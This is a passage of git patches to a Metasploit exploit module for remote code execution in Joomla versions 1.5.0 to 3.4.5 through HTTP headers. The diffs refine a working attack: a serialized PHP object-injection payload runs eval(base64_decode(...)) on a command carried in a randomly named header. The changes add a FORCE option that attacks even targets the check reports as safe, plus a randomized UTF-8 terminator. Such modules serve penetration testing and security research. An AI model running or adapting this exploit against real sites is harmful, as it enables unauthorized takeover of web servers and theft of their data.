1f10f7e5fa..b3f8c6234f 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = GoodRanking + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -51,6 +51,11 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('TARGETURI', [ true, 'The path to joomla', '/' ]), OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]]) ], self.class) + + register_advanced_options( + [ + OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]), + ], self.class) end def check @@ -80,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote # http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog if rest && rest.include?('ubuntu') sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || '' - vprint_status("Found Ubuntu PHP version: #{res.headers['X-Powered-By']}") + vprint_status("Found Ubuntu PHP version #{res.headers['X-Powered-By']}") if version > Gem::Version.new('5.5.9') vulnerable = false @@ -93,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote end elsif rest && rest.include?('+deb') sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || '' - vprint_status("Found Debian PHP version: #{res.headers['X-Powered-By']}") + vprint_status("Found Debian PHP version #{res.headers['X-Powered-By']}") if version > Gem::Version.new('5.4.45') vulnerable = false @@ -103,7 +108,7 @@ class Metasploit3 < Msf::Exploit::Remote vulnerable = true end else - vprint_status("Found PHP version: #{res.headers['X-Powered-By']}") + vprint_status("Found PHP version #{res.headers['X-Powered-By']}") vulnerable = true if version <= Gem::Version.new('5.4.44') vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) @@ -117,8 +122,9 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'administrator', 'manifests', 'files', 'joomla.xml') }) if res && res.code == 200 && res.body && res.body.include?('Joomla! Project') joomla_version = res.body.scan(/([\d\.]+)<\/version>/i).flatten.first || '' - if joomla_version - return Exploit::CheckCode::Vulnerable if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6') + unless joomla_version.empty? + vprint_status("Detected Joomla version #{joomla_version}") + return Exploit::CheckCode::Appears if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6') end end @@ -131,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Remote end end - Exploit::CheckCode::Unknown + Exploit::CheckCode::Safe end def get_payload @@ -152,7 +158,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - if check == Exploit::CheckCode::Safe + if check == Exploit::CheckCode::Safe && datastore['FORCE'] == false print_error('Target seems safe, so we will not continue.') return end From 08d0ffd7097de8f2178d12e1b33a0d8d223d5e97 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 22:44:01 +0100 Subject: [PATCH 20/21] implement @wvu-r7 's feedback --- modules/exploits/multi/http/joomla_http_header_rce.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index b3f8c6234f..ed91c4b45b 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Targets' => [['Joomla', {}]], + 'Targets' => [['Joomla < 3.4.6', {}]], 'DisclosureDate' => 'Dec 14 2015', 'DefaultTarget' => 0) ) @@ -140,10 +140,10 @@ class Metasploit3 < Msf::Exploit::Remote Exploit::CheckCode::Safe end - def get_payload + def get_payload(header_name) pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|" middle = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' - pay = "eval(base64_decode($_SERVER['HTTP_CMD']));JFactory::getConfig();exit;" + pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;" middle2 = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' post = "\xF0\x9D\x8C\x86" return "#{pre}#{middle}s:#{pay.length}:\"#{pay}#{middle2}#{post}" @@ -164,10 +164,11 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("Sending payload ...") + header_name = Rex::Text.rand_text_alpha_upper(5) res = send_request_cgi({ 'method' => 'GET', 'uri' => target_uri.path, - 'headers' => { datastore['HEADER'] => get_payload } + 'headers' => { datastore['HEADER'] => get_payload(header_name) } }) fail_with(Failure::Unknown, 'No response') if res.nil? session_cookie = res.get_cookies @@ -176,7 +177,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => target_uri.path, 'cookie' => session_cookie, 'headers' => { - 'CMD' => Rex::Text.encode_base64(payload.encoded) + header_name => Rex::Text.encode_base64(payload.encoded) } }) end From 8c43ecbfaff767fdbbee036bed4d3995ef538e96 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Thu, 17 Dec 2015 00:08:52 +0100 Subject: [PATCH 21/21] add random terminator and clarify target --- .../multi/http/joomla_http_header_rce.rb | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index ed91c4b45b..1be5c92468 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Targets' => [['Joomla < 3.4.6', {}]], + 'Targets' => [['Joomla 1.5.0 - 3.4.5', {}]], 'DisclosureDate' => 'Dec 14 2015', 'DefaultTarget' => 0) ) @@ -140,13 +140,19 @@ class Metasploit3 < Msf::Exploit::Remote Exploit::CheckCode::Safe end + # gets a random 4 byte UTF-8 character + def get_terminator + # valid codepoints for 4byte UTF-8 chars: U+010000 - U+10FFFF + [rand(0x10000..0x10ffff)].pack('U*') + end + def get_payload(header_name) pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|" - middle = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' + pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;" - middle2 = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' - post = "\xF0\x9D\x8C\x86" - return "#{pre}#{middle}s:#{pay.length}:\"#{pay}#{middle2}#{post}" + post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' + t1000 = get_terminator + return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{t1000}" end def print_status(msg='')